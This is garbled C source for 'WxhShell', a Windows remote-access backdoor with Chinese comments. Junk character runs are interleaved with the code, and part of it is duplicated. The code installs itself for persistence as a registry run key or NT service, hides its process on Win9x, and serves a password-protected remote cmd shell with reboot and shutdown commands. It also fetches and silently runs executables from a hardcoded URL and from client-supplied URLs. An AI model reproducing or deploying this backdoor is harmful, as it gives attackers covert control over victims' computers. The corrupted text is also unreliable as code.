(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); etHkyF hz8Z)xjJ V if (!NtQueryInformationProcess) return 0; r-+S^mOE] l~v
BA$, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
7Odw{pc if(!hProcess) return 0; 9uL="z$\ ;0!rq^JG if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WKwU:im )(&WhZc Z CloseHandle(hProcess); d].(x)|st )]?"H hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VP<_~OLc if(hProcess==NULL) return 0; Vg+jF!\7 4}\Dr
%US HMODULE hMod; kroO~(\ char procName[255]; w[V71Iej unsigned long cbNeeded; DE^ @b+6 *7yu&a8 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D\H)uV` ;| :^zo CloseHandle(hProcess); -'9sn/ u0vq`5L if(strstr(procName,"services")) return 1; // 以服务启动 u9 yXHf )G">7cg;t return 0; // 注册表启动 Td`0;R'<}c } du:%{4 HP
/@ _qk // 主模块 nd 5w|83 int StartWxhshell(LPSTR lpCmdLine) mJ3|UClPS { h 'F\9t SOCKET wsl; w53+k\. BOOL val=TRUE; EZ.|6oug\ int port=0; dIUg
e`O9 struct sockaddr_in door; ^?5[M^ *
@QC:1k if(wscfg.ws_autoins) Install(); kh'R/Dt }Z~& XL= port=atoi(lpCmdLine); 7Qc
4Oz:t 1gZW~6a} if(port<=0) port=wscfg.ws_port; 5ecAev^1- ,/qS1W( WSADATA data; e"sz jY~V if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !P6\-. KH<f=?b if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; tw`{\kWG setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XSu9C zx&I door.sin_family = AF_INET; uH 6QK\ door.sin_addr.s_addr = inet_addr("127.0.0.1"); oA _,jsD4 door.sin_port = htons(port); %e@Jc3 GV5hmDzRs if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tyH*epanw closesocket(wsl); Z|z+[V}[ return 1; m 8Q[+_:$H } FTihxC?.L Vko1{$}t if(listen(wsl,2) == INVALID_SOCKET) { <R6$ kom` closesocket(wsl); 5jpb`Axj# return 1; UY_'F5X } RSNukg Wxhshell(wsl); Wa8?o~0"L WSACleanup(); s5s'$|h" m|RA@sY%` return 0; X"KX_)GZD Y+k)d^6r } SLa\F ,~!rn}MI< // 以NT服务方式启动 LV:`siK VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w2!5Cb2 { K#B)@W?9 DWORD status = 0; RaS7IL:e DWORD specificError = 0xfffffff; $_6DvJ0 l>i<J1 serviceStatus.dwServiceType = SERVICE_WIN32; 8H>: C(h serviceStatus.dwCurrentState = SERVICE_START_PENDING; v.08,P{b serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;+dB-g[ serviceStatus.dwWin32ExitCode = 0; Vp;^_, serviceStatus.dwServiceSpecificExitCode = 0; `dH[&=S serviceStatus.dwCheckPoint = 0; ;OlC^\e serviceStatus.dwWaitHint = 0; -NG`mfu (W<n<sl:- hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ; 7`y## if (hServiceStatusHandle==0) return; X]?qns7 +v 9@du status = GetLastError(); YGBVGpE9 if (status!=NO_ERROR) ~*|0yPFg { tFvc~zz9 serviceStatus.dwCurrentState = SERVICE_STOPPED; vwZrvjP2 serviceStatus.dwCheckPoint = 0; cG|ihG5) serviceStatus.dwWaitHint = 0; #6[7q6{4 serviceStatus.dwWin32ExitCode = status; [dje!5Dc( serviceStatus.dwServiceSpecificExitCode = specificError; hhTM-D1Ehs SetServiceStatus(hServiceStatusHandle, &serviceStatus); <z3:*=! return; !$&3h-l[ } j5*W[M9W FbMX?T"yH serviceStatus.dwCurrentState = SERVICE_RUNNING; 5I!EsW$sY serviceStatus.dwCheckPoint = 0; N7=L^] serviceStatus.dwWaitHint = 0; e}u#:ysj if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1M|DaAI } /dU-$}>ZI O.n pi: a // 处理NT服务事件,比如:启动、停止 k%iZ.. VOID WINAPI NTServiceHandler(DWORD fdwControl)
'CqWF" { #>m#i1Nu switch(fdwControl) U"} ml { 26fbBt8nP case SERVICE_CONTROL_STOP: CU3[{a serviceStatus.dwWin32ExitCode = 0; 2TN+ (B#Z! serviceStatus.dwCurrentState = SERVICE_STOPPED; :I(-@2?{ serviceStatus.dwCheckPoint = 0; ,t4g^67R{ serviceStatus.dwWaitHint = 0; .".xNHR# { u:+wuyu SetServiceStatus(hServiceStatusHandle, &serviceStatus); "(uEcS2< } *5$$C&@o9 return; o#X|4bES case SERVICE_CONTROL_PAUSE: 0*66m:C2 serviceStatus.dwCurrentState = SERVICE_PAUSED; F&r+"O)^-R break; s2t'jIB case SERVICE_CONTROL_CONTINUE: mOj6
4}_`" serviceStatus.dwCurrentState = SERVICE_RUNNING; g{&a|NU^ break; >;S/$
case SERVICE_CONTROL_INTERROGATE: m^dKww break; xU/Eu;m }; Hcw@24ic SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Wng(ef6G } wv>uT{g# YYDLFtr2 // 标准应用程序主函数 _ukKzY int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S$q:hXZ#e { \BC|`)0h e[fzy0 // 获取操作系统版本 A~ugx~S0 OsIsNt=GetOsVer(); K'[H`x^ GetModuleFileName(NULL,ExeFile,MAX_PATH); SRq0y,d &(h~{ // 从命令行安装 [\NyBc if(strpbrk(lpCmdLine,"iI")) Install(); MIPmsEdBi pEIc?i* // 下载执行文件 =T$-idx1l if(wscfg.ws_downexe) { Ug=8:a(U. if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 45l/)=@@B WinExec(wscfg.ws_filenam,SW_HIDE); b?-Ep?G'\ } [m7jZOEu ;\=W=wL( if(!OsIsNt) { 7Wg0-{yK4 // 如果时win9x,隐藏进程并且设置为注册表启动 M$L1!o1Xf HideProc(); *9}2Bmojv StartWxhshell(lpCmdLine); JF]HkH_u } olzP=08aaV else X$w ,zb\ if(StartFromService()) @)m H"u!(7 // 以服务方式启动 Rt{qbM|b& StartServiceCtrlDispatcher(DispatchTable); gio'_X else BgLK}p^ // 普通方式启动 o
>bf7+D StartWxhshell(lpCmdLine); E<;C@B (v*$ExF return 0; C.dN)?O } Hk%m`|Z T!eb=oy %7q,[g8 {,p<!Jq~G =========================================== 3X,9K23T 3e$&rpv S2/c2 dE2(PQb*P
| Euf:yWY 0%.l|~CE& " jvn:W{'Q %^}3:0G #include <stdio.h> f,z_|e #include <string.h> `WHP#z #include <windows.h> OpmI" 4{+ #include <winsock2.h> +~Ri CZt #include <winsvc.h> )y-y-B=+T #include <urlmon.h> *,!6#Z7 =if5$jE3 #pragma comment (lib, "Ws2_32.lib") 'Uqz , #pragma comment (lib, "urlmon.lib") TGu`r>N51 '~A~gK0 #define MAX_USER 100 // 最大客户端连接数 x]6OE]]8L #define BUF_SOCK 200 // sock buffer bY7d #define KEY_BUFF 255 // 输入 buffer tn201TDZ]= i[A$K~f #define REBOOT 0 // 重启 <e|I?zI9- #define SHUTDOWN 1 // 关机 09pnM|8A I?@9;0R #define DEF_PORT 5000 // 监听端口 k_.%(ZE \ '6hv>W@ #define REG_LEN 16 // 注册表键长度 PO5/j #define SVC_LEN 80 // NT服务名长度 ve_TpP IBr?6_\%"4 // 从dll定义API 9.f/d4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
7:t+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H\AJLk2E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J<BBM.^] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u-0-~TwD w$4fS // wxhshell配置信息 7*]O]6rP struct WSCFG { !},_,J~(| int ws_port; // 监听端口 'ek7e.x|V char ws_passstr[REG_LEN]; // 口令 sI/Jhw) int ws_autoins; // 安装标记, 1=yes 0=no B/g.bh~)q char ws_regname[REG_LEN]; // 注册表键名 b&X- &F char ws_svcname[REG_LEN]; // 服务名 smW
7zGE char ws_svcdisp[SVC_LEN]; // 服务显示名 J@w Q3#5a char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~itrM3^"w char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;QQLYT int ws_downexe; // 下载执行标记, 1=yes 0=no &wr0HrE\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k2o98bK&; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pTPWToKh NL%5'8F>, }; 3
4CqLPg8 4JSf t
t // default Wxhshell configuration ~#+ Hhc( struct WSCFG wscfg={DEF_PORT, -R@mnG
5 "xuhuanlingzhe", 5]DgfwX 1, p5&:>> "Wxhshell", &u0JzK "Wxhshell", AdDlS~\? "WxhShell Service", 6Pc3 ;X~ "Wrsky Windows CmdShell Service", fvgjqiT "Please Input Your Password: ", /9<zG}:B 1, :clMO| "http://www.wrsky.com/wxhshell.exe", (<!Yw|~ "Wxhshell.exe" +@>K]hdr }; qV2aa9p+ yUcWX bT@ // 消息定义模块 oZTKG' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uQgv ;jsPz char *msg_ws_prompt="\n\r? for help\n\r#>";
;L(2Ffk8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O+hN?/>v char *msg_ws_ext="\n\rExit."; K9h{sC char *msg_ws_end="\n\rQuit."; A7,TM& char *msg_ws_boot="\n\rReboot..."; ew8f7S[ char *msg_ws_poff="\n\rShutdown..."; k_$:?$ char *msg_ws_down="\n\rSave to "; 9M{z@H/ fH[Yc>(oj char *msg_ws_err="\n\rErr!"; G\4h4% a char *msg_ws_ok="\n\rOK!"; Oo<L~7B W,'30:#Fr7 char ExeFile[MAX_PATH]; HC4qP9Gs int nUser = 0; T@0\z1,~S HANDLE handles[MAX_USER]; |E)-9JSRy int OsIsNt; AdV&w: ^yf _s{on/u SERVICE_STATUS serviceStatus; *m$P17/C SERVICE_STATUS_HANDLE hServiceStatusHandle; $A"C1)d; ha_&U@w // 函数声明 vU(2[ int Install(void); ?QuD:vck int Uninstall(void); _)AX/%^% int DownloadFile(char *sURL, SOCKET wsh); G}ZJ}5h int Boot(int flag); %DH2]B? 0 void HideProc(void); 0 ~2~^A#]\ int GetOsVer(void); 6Ap-J~4 int Wxhshell(SOCKET wsl); <49Gsm&0 void TalkWithClient(void *cs); (/6~*<ZGT int CmdShell(SOCKET sock); hfzmv~* int StartFromService(void); tB-0wD=PR int StartWxhshell(LPSTR lpCmdLine); M'gw-^( !
*Snx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RlJt+lnV VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7mG/f J${'?!N // 数据结构和表定义 V}c3}'_U] SERVICE_TABLE_ENTRY DispatchTable[] = l0hcNEj{W { DbDi n {wscfg.ws_svcname, NTServiceMain}, OEMYS I% {NULL, NULL} 'vbrzI5m }; iKs @oHW AP1Eiv<Hub // 自我安装 =QG@{?JTl int Install(void) prJ]uH, { vRp#bScc char svExeFile[MAX_PATH]; |]s/NNU HKEY key; ,|:TML strcpy(svExeFile,ExeFile); l-?B1gd,l zvJQ@i"Z // 如果是win9x系统,修改注册表设为自启动 }.+{M.[} if(!OsIsNt) { ddR*&.Y!a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~cC=DeX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9@'^}c# RegCloseKey(key); # !:u*1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hn-+]Y: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =~qQ?;on RegCloseKey(key); 5W%^g_I return 0; 'E_M,Y } J3
Y-d7=| } e+'PRVc } /=o~7y else { G)<NzZo 5~BM+ja // 如果是NT以上系统,安装为系统服务 1#]0\Y( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H rMH
if (schSCManager!=0) ^?-SMcUHB { Vp"=8p#k SC_HANDLE schService = CreateService |r|<cc# ( h`{agWB schSCManager, d'bAM{R> wscfg.ws_svcname, aHhr_.>X wscfg.ws_svcdisp, hmijp1u SERVICE_ALL_ACCESS, ,Z_aZD4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NFYo@kX>
G SERVICE_AUTO_START, 3u&>r-V6Fn SERVICE_ERROR_NORMAL, yaDK_fk svExeFile, l*l?aI NULL, 0ZRIi70u NULL, KM'*+.I NULL, 1$+-?:i C NULL, IF>dsAAI< NULL QYS 1.k ); q:iB}ch5R if (schService!=0) !PAuMj)P { [m*E[0Hu CloseServiceHandle(schService); |8m2i1XG CloseServiceHandle(schSCManager); ET2^1X#j strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j@ehcK9| strcat(svExeFile,wscfg.ws_svcname); ftaGu-d% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KR49Y>s< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6ct'O**k*& RegCloseKey(key); VM.4w.})_E return 0; f!H~BMA+a } v@qU<\Y> } zw2qv' CloseServiceHandle(schSCManager); 47/14rY
2 } sYMgi D } Q;h6F{i mi`jY0e2 return 1; T_=IH~" } 2#y-3y<G G(Ky7SZ // 自我卸载 CO<P$al int Uninstall(void) "ZHA.M]` { U8||)+ HKEY key; o@5zf{- [yyL2=7 if(!OsIsNt) { Z<Rhn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XCP/e p RegDeleteValue(key,wscfg.ws_regname); UN8]>#\"` RegCloseKey(key); A.8[FkiNmD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NUQ?QQ RegDeleteValue(key,wscfg.ws_regname); w4<n=k RegCloseKey(key); Cih~cwE return 0; CRh.1- } 4.t72*ML } IEP^u
`} } Y}n$s/O:u8 else { ?l/$cO # fe%E. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #X`qkW.T< if (schSCManager!=0) 5ltrr(MeD { Q)s`~G({P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XwlF[3VbiX if (schService!=0) <rbzsn"a { $xK*TJ(k
if(DeleteService(schService)!=0) { YqEB%Y~N+ CloseServiceHandle(schService); \Ctl(uj CloseServiceHandle(schSCManager); vMHJgpd&j return 0; ,ozgnhZY } D=^|6} CloseServiceHandle(schService); 4\pUA4 } )J>-;EYb8 CloseServiceHandle(schSCManager); t/KH` } N,0&xg3 } AEw~LF2w !zR1CM return 1; vxt<}h5J/! } b9L"?{ 5<RZht$i // 从指定url下载文件 SKdh!*G int DownloadFile(char *sURL, SOCKET wsh) M\!z='Fi { H3Zsm)+: HRESULT hr; $%"?0S char seps[]= "/"; ;%YAiW8{Xk char *token; C_rA'Hy char *file; %-Oo92tP char myURL[MAX_PATH]; $8;`6o` char myFILE[MAX_PATH]; sqE? U*8.- t
\;,$i strcpy(myURL,sURL); ~}@cSv'(1 token=strtok(myURL,seps); 6)#=@i`
\ while(token!=NULL) 7@u:F?c { jT $ file=token; "b
`R_gG9 token=strtok(NULL,seps); Gi7p`F. } )oCb9K:km P7|x=Ew;` GetCurrentDirectory(MAX_PATH,myFILE); gQ;1SY! strcat(myFILE, "\\"); tEl_a~s*3? strcat(myFILE, file); UgC{ send(wsh,myFILE,strlen(myFILE),0); --BS/L- send(wsh,"...",3,0); ? f>pKe hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @";zM& if(hr==S_OK) eW/sPQ- return 0; qf?X:9Wt else !W48sZr1& return 1; s F!nSr TChKm-x } f~-Ipq;F SMIr@*R // 系统电源模块 KOYcT'J@vR int Boot(int flag) :J~sz)n4 {
M_ii HANDLE hToken; E5`KUMZkq TOKEN_PRIVILEGES tkp; ` Clh; ["}Yp if(OsIsNt) { 6ntduXeNVh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Izr_]% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HTw7l]] tkp.PrivilegeCount = 1; ;Q8LA",5d tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M_Z(+k{Gy AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @p$$BUb if(flag==REBOOT) { ?o883!&v if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l
4e`-7 return 0; z]33_[G1U } @yxF/eeEy+ else { U%T{~f if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0fP-[7P return 0; kHx6]< } -JwwD6D } [_w;=l0 ; else { d%w#a3( if(flag==REBOOT) { e%K
oecq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~3r}6,% return 0; 5A`T}~"X } 9f7T.}HM else { 2/4,iu(T`c if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) = k7}[!T return 0; MzX4/*ba } ]^c]* O[8 } Y>i5ubR~ \
N;% return 1; c2fqueK|:W } N}5'Hk4+ MbJ|6g99 // win9x进程隐藏模块 lVR
a{._m void HideProc(void) wr{ [4$O { -er8(snDQ iciw 54;4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4y|%Oj if ( hKernel != NULL ) 9:1[4o)~ { +204.Yj?D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lk`,s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H(,D5y`k1 FreeLibrary(hKernel); ;[R#:Rk } f\]splL 2SHS!6:Rl return; R[T94U } j8|N;;MN +:jx{*}jo // 获取操作系统版本 q{E44
eQ7F int GetOsVer(void) -lDAxp6p { J_ y+.p-
5 OSVERSIONINFO winfo; ^j>w<ljzz winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~4'AnoD1w GetVersionEx(&winfo); n,vs(ZL: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0kOl,%Ey return 1; b<1+q{0r else d@aPhzLu return 0; )ZqY`by! } lS!uL9t. 8{ooLdpX7 // 客户端句柄模块 IqrT@jgN- int Wxhshell(SOCKET wsl) gSn9L)k(O { W<sa6,$ SOCKET wsh; lwj,8 struct sockaddr_in client; M*n@djL$\~ DWORD myID; M>LgEc-v67 2n|]&D3V"' while(nUser<MAX_USER) h#o?O k { Rt=zqfJ int nSize=sizeof(client); [:*Jn} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ap)[;_9BD if(wsh==INVALID_SOCKET) return 1; bDq[j8IT6 PbpnjvVrM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H)VzPe# { if(handles[nUser]==0) <)am]+Lswy closesocket(wsh); c4i%9E+Af else \:vHB! 2E nUser++; .`@)c/<0 } yNU.<d 5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x_VD9 {Z!x]}{M return 0; mA2L~=v# } ExKjH*gn +$y%H // 关闭 socket {2,vxGi void CloseIt(SOCKET wsh)
vv0+F6 @ { tkjQSz closesocket(wsh); rO3.%B} nUser--; vj,OX~| ExitThread(0); lo< t5~GQ } LfsqtQ=J` e:uk``\ // 客户端请求句柄 IMcuoQ5 void TalkWithClient(void *cs) 6>=yX6U1q^ { rK@XC +`S :XFr"aSt SOCKET wsh=(SOCKET)cs; n> tru L char pwd[SVC_LEN]; 'JK"3m}nT char cmd[KEY_BUFF]; b<bj5m4fz> char chr[1]; dgp1 B\ int i,j; DElrY)3O. M%(^GdI#Vf while (nUser < MAX_USER) { CyXFuk!R hteAuz4H if(wscfg.ws_passstr) { dYxX%"J if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0Fc^c[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1Xn:B_pP //ZeroMemory(pwd,KEY_BUFF); ^Iy'G44 i=0; ZULnS*V;5 while(i<SVC_LEN) { ?%A9}"q] OC=g 1 // 设置超时 MP_LdJM1E fd_set FdRead; euiP<[|h= struct timeval TimeOut; q"9 2][} FD_ZERO(&FdRead); ,[UK32KWI FD_SET(wsh,&FdRead); ;1AXu/ TimeOut.tv_sec=8; RIdh],- TimeOut.tv_usec=0; XT%\Ce! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 67b
w[#v if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); riv8qg |5TzRz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {|{;:_.> pwd=chr[0]; "K c/Cs2[ if(chr[0]==0xd || chr[0]==0xa) { Rl{e<>O\^ pwd=0; yQ!I`T>a break; 5RsO^2V: } >r\q6f#J4 i++; ~YRG9TK } c:I %jm kt2W7.A5 // 如果是非法用户,关闭 socket 8AQ__&nT if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V|&->9" } H):(8/>( `n?Rxhkwp send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _J"fgxW send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .]w=+~h `Kbf]"4q while(1) { \,S4-~(:! {n\Ai3F- ZeroMemory(cmd,KEY_BUFF); SA?lDRF \IaUsx"#o{ // 自动支持客户端 telnet标准 19b@QgfWpb j=0; WZM while(j<KEY_BUFF) { jS ?#c+9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V+5av Z} cmd[j]=chr[0]; +"1fr
if(chr[0]==0xa || chr[0]==0xd) { ,@kLH"a0 cmd[j]=0; gA}?X break; hVIv-> } :cvT/xhO j++; \ `;1[m } Du #>y! 5.$/]2VK // 下载文件 +ib&6IU if(strstr(cmd,"http://")) { !bs5w_@ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2]]}Xvx4# if(DownloadFile(cmd,wsh)) x[=,$;o+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5PsjGvm.% else a<J<Oc! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =o4gW`\z } pgQ^w0BQV else { R^B8** N w75Ro6y switch(cmd[0]) { Id1de>:; V?)YQB // 帮助 ~)F_FS case '?': { $xCJ5M4 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h$mGawvZ~ break; `=S%!akj } V-3;7 // 安装 Po&'#TC1 case 'i': { :}2T of2 if(Install()) +IMt$}7[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jd~M q9( else EeHghq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l$[,V:N break; 39MOqVc } p2U6B // 卸载 Kn1T2WSAg case 'r': { p( )LQT! if(Uninstall()) #l h'
! send(wsh,msg_ws_err,strlen(msg_ws_err),0); kZhd^H. else LcT;7yv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wwv+s ~(0 break; L)8%*X } 8H1&=)M= // 显示 wxhshell 所在路径 F("|SOhc case 'p': { XD"
4t4~> char svExeFile[MAX_PATH]; zK I1 strcpy(svExeFile,"\n\r"); ZuZCIqN strcat(svExeFile,ExeFile); qQIX:HWDKZ send(wsh,svExeFile,strlen(svExeFile),0); bc:3 5. break; sy-#Eo#3 } wz{c;v\J^ // 重启 R T~oJ~t; case 'b': { Ms5R7<O.7 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GvvKM=1 if(Boot(REBOOT)) -knP5"TB send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0x<G\ l4 else { )TyP{X> closesocket(wsh); ]826k pq_ ExitThread(0); G*,7pc } 52NI{" break; \/C5L:|p_ } ;Wa&Dg/5` // 关机 bvHQ #:}H case 'd': {
^w&!}f+ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z$r7Hi if(Boot(SHUTDOWN)) fW[RCd send(wsh,msg_ws_err,strlen(msg_ws_err),0); FUZuS!sJ else { gX$gUB) x closesocket(wsh); ,b5vnW\ ExitThread(0); xZM4CR9]*C } P!IXcPKW53 break; uRYq.`v, } yhI;FNSf // 获取shell yqtaQ0F~ case 's': {
t@a&& CmdShell(wsh); 1
.[OS closesocket(wsh); Oqt{ uTI~ ExitThread(0); US"UkY-\ break; "!fwIEG } rZ)7(0BBs // 退出 ^QG<_Dm] case 'x': { RTDplv; ] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i2;,\FI@t% CloseIt(wsh); hs:iyr]@9 break; VR%*8= } Z6Z/Y()4Tl // 离开 3OY(L` case 'q': { yq<W+b/ send(wsh,msg_ws_end,strlen(msg_ws_end),0); B/^o$i closesocket(wsh); g:!R't? WSACleanup(); vlipB} exit(1); (d*||" break; d2)]6)z6 } ?AQA>D#W } 4Ss y (gt } 2$VSH& c,M"a // 提示信息 QUfF>,[sv if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wehiX7y } ?^^TR/ } W^S]"N0u OECVExb@eH return; Pj_DI)^ } ~2yhZ sIl&\g<b // shell模块句柄 Tj\hAcD int CmdShell(SOCKET sock) lz1cLl
m { O*x~a;?G STARTUPINFO si; 1jAuW~ ZeroMemory(&si,sizeof(si)); )vg@Kc26 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tB4yj_ZF si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; so| U&`G PROCESS_INFORMATION ProcessInfo; gS`Z>+V5!c char cmdline[]="cmd"; ,S@B[+VZ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .|TF /b] return 0; yS[HYq } _\=
/~>Xl 8DbP$Wwi // 自身启动模式 +qqCk int StartFromService(void) St>
E\tXp { r>PKl'IbE typedef struct T!pZj_ h= { A`>^A]% DWORD ExitStatus; ] \!,yiVeU DWORD PebBaseAddress; w\V<6_[vv. DWORD AffinityMask; !YlEXaS DWORD BasePriority; /^I!)|At ULONG UniqueProcessId; ;TwqZw[. ULONG InheritedFromUniqueProcessId; PGVp1TQ } PROCESS_BASIC_INFORMATION; sb1tQ=u[ Bsd~_y}8 PROCNTQSIP NtQueryInformationProcess; J~ +p7S +%~me? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q./jYe static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QA)"3g
ed3wj3@ HANDLE hProcess; w
!<-e> PROCESS_BASIC_INFORMATION pbi; H7<g5pv ^EW6}oj[ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BGOS( if(NULL == hInst ) return 0; /rK/l qF`]}7"^ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >fkV65w{* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EQM[!g^a NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P=y1qqC ,:V[H8 ? if (!NtQueryInformationProcess) return 0; IF<T{/MA t#-4edB, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4X}TG if(!hProcess) return 0; 62G%.'7 Q7UQwAN' if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; - ku8n%u *TCV}=V G CloseHandle(hProcess); qDfhR`1k uaCI2I hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kKDf%= if(hProcess==NULL) return 0; &XXr5ne~C F<dhG>E9 HMODULE hMod; uBC#4cX`D* char procName[255]; 1 .o0" unsigned long cbNeeded; rTJ;s ec*Ni|`Z' if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R+/kx#^ 0U#m7j CloseHandle(hProcess); /N./l4D1K- c{x:'@%/s' if(strstr(procName,"services")) return 1; // 